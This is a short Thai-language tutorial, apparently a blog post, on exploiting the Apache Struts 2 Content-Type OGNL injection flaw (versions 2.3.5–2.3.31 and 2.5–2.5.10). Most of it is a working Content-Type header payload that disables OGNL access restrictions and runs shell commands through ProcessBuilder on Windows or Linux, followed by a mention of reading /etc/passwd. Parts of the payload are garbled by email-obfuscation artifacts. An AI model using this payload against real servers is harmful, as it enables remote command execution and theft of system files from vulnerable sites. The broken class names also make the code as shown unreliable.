How to perform Apache Struts 2 Remote Command Execution

บทความนี้กล่าวถึงวิ่งการตรวจสอบช่องโหว่ Apache Strut 2 framework (Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10) และตัวอย่าง code ในการโจมตี จากหัวข้อ Apache Strut สามารถอธิบายคำจำกัดความสั้น ๆ ดังต่อไปนี้

Apache Struts เป็น Model-View-Controller (MVC) Framework แบบ Open-source สำหรับใช้พัฒนาเว็บแอพพลิเคชันภาษา Java โดยรองรับ REST, AJAX และ JSON ซึ่งเป็นหนึ่งใน Framework ฟรีที่นักพัฒนาเว็บหลายคนเลือกใช้ ไม่ว่าจะเป็น Lockheed Martin, Vodafone, Virgin Atlantic หรือ IRS

ที่มา https://www.techtalkthai.com/critical-rce-flaw-in-apache-struts2/

ช่องโหว่เหล่าสามารถตรวจสอบง่าย ๆ โดยใช้ Tool scan อย่าง Nikto หรือ Nessus อย่างไรก็ตามสามารถตรวจสอบง่าย ๆ โดยการ Intercept HTTP request ผ่าน Burp proxy หรือใช้ คำสั่ง curl

Content-Type: ${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -al').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data

ทดลองดึงคำไฟล์ /etc/passwd จากระบบปฎิบัติการได้ดังนี้

Reference

https://latesthackingnews.com/2018/09/06/apache-struts-2-exploit-being-used-by-cyber-criminals-for-crypto-mining-campaigns/
https://www.techtalkthai.com/critical-rce-flaw-in-apache-struts2/